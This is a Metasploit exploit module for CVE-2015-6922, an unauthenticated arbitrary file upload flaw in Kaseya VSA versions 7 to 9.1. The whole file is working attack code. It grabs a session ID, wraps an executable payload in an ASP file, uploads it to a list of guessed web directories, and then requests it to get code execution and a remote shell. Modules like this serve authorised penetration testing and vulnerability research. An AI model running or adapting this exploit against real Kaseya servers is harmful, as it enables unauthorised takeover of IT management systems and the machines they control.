##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
          between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
          directory leading to arbitrary code execution with IUSR privileges. This module has been
          tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2015-6922'],
          ['ZDI', '15-449'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
          ['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
        ],
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Privileged' => false,
        'Targets' => [
          [ 'Kaseya VSA v7 to v9.1', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-09-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab', 'uploader.aspx')
    })

    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def upload_file(payload, path, filename, session_id)
    print_status("Uploading payload to #{path}...")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
      'vars_get' => {
        'PathData' => path,
        'qqfile' => filename
      },
      'data' => payload,
      'ctype' => 'application/octet-stream',
      'cookie' => 'sessionId=' + session_id
    })

    if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
      return true
    else
      return false
    end
  end

  def exploit
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab', 'uploader.aspx')
    })

    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      session_id = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
    end

    asp_name = "#{rand_text_alpha_lower(8)}.asp"
    exe = generate_payload_exe
    payload = Msf::Util::EXE.to_exe_asp(exe).to_s

    paths = [
      # We have to guess the path, so just try the most common directories
      'C:\\Kaseya\\WebPages\\',
      'C:\\Program Files\\Kaseya\\WebPages\\',
      'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
      'D:\\Kaseya\\WebPages\\',
      'D:\\Program Files\\Kaseya\\WebPages\\',
      'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
      'E:\\Kaseya\\WebPages\\',
      'E:\\Program Files\\Kaseya\\WebPages\\',
      'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
    ]

    paths.each do |path|
      if upload_file(payload, path, asp_name, session_id)
        register_files_for_cleanup(path + asp_name)
        print_status("Executing payload #{asp_name}")

        send_request_cgi({
          'uri' => normalize_uri(asp_name),
          'method' => 'GET'
        })

        # Failure. The request timed out or the server went away.
        break if res.nil?
        # Success! Triggered the payload, should have a shell incoming
        break if res.code == 200
      end
    end
  end
end
